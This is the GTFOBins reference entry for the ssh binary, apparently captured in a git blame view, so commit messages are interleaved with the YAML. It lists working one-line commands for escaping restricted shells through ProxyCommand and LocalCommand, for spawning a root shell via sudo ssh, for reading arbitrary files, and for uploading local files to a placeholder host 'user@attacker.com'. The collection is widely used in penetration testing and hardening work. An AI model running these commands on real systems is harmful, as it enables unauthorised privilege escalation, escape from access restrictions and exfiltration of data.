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GTFOBins.github.io/_gtfobins/ssh.md

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First commit
2018-05-21 21:14:41 +02:00
---
functions:
Adopt new function names
2018-10-05 19:55:38 +02:00
shell:
Fix YAMLs according to YAMLlint
2018-07-16 15:01:50 +02:00
- description: Reconnecting may help bypassing restricted shells.
code: ssh localhost $SHELL --noprofile --norc
- description: Spawn interactive shell through ProxyCommand option.
Make interactive execute whenever possible Here the trick is to restore those file descriptors (0, 1, 2) that have been redirected (`dup2`) by the parent process. First we need to determine which one has been redirected, for example by looking at `ls -l /proc/$$/fd/`. Then we can use `0<&x`, `1>&x` or `2>&x` to restore 0, 1 or 2 respectively, where `x` is any file descriptor number that points to the TTY. It may happen that no file descriptor is unchanged, in that case we can use `tty` to perform the redirection: sh <$(tty) >$(tty) 2>$(tty)
2018-09-07 01:00:01 +02:00
code: ssh -o ProxyCommand=';sh 0<&2 1>&2' x
Add LocalCommand option to SSH SSH has a LocalCommand option that will run a given command on the client machine after a successful connection. It is generally disabled, but can be enabled on the command line with "-oPermitLocalCommand=yes". This is useful for bypassing restricted shells. Co-authored-by: Andrea Cardaci <cyrus.and@gmail.com>
2022-05-01 11:07:53 +02:00
- description: Spawn interactive shell on client, requires a successful connection towards `host`.
code: ssh -o PermitLocalCommand=yes -o LocalCommand=/bin/sh host
Adopt new function names
2018-10-05 19:55:38 +02:00
file-upload:
Fix YAMLs according to YAMLlint
2018-07-16 15:01:50 +02:00
- description: Send local file to a SSH server.
code: |
HOST=user@attacker.com
RPATH=file_to_save
LPATH=file_to_send
ssh $HOST "cat > $RPATH" < $LPATH
Adopt new function names
2018-10-05 19:55:38 +02:00
file-download:
Fix YAMLs according to YAMLlint
2018-07-16 15:01:50 +02:00
- description: Fetch a remote file from a SSH server.
code: |
HOST=user@attacker.com
RPATH=file_to_get
LPATH=file_to_save
ssh $HOST "cat $RPATH" > $LPATH
Add file-read to ssh
2018-05-28 09:44:53 +02:00
file-read:
Fix YAMLs according to YAMLlint
2018-07-16 15:01:50 +02:00
- description: The read file content is corrupted by error prints.
code: |
LFILE=file_to_read
ssh -F $LFILE localhost
Adopt new function names
2018-10-05 19:55:38 +02:00
sudo:
Fix YAMLs according to YAMLlint
2018-07-16 15:01:50 +02:00
- description: Spawn interactive root shell through ProxyCommand option.
Make interactive execute whenever possible Here the trick is to restore those file descriptors (0, 1, 2) that have been redirected (`dup2`) by the parent process. First we need to determine which one has been redirected, for example by looking at `ls -l /proc/$$/fd/`. Then we can use `0<&x`, `1>&x` or `2>&x` to restore 0, 1 or 2 respectively, where `x` is any file descriptor number that points to the TTY. It may happen that no file descriptor is unchanged, in that case we can use `tty` to perform the redirection: sh <$(tty) >$(tty) 2>$(tty)
2018-09-07 01:00:01 +02:00
code: sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x
First commit
2018-05-21 21:14:41 +02:00
---
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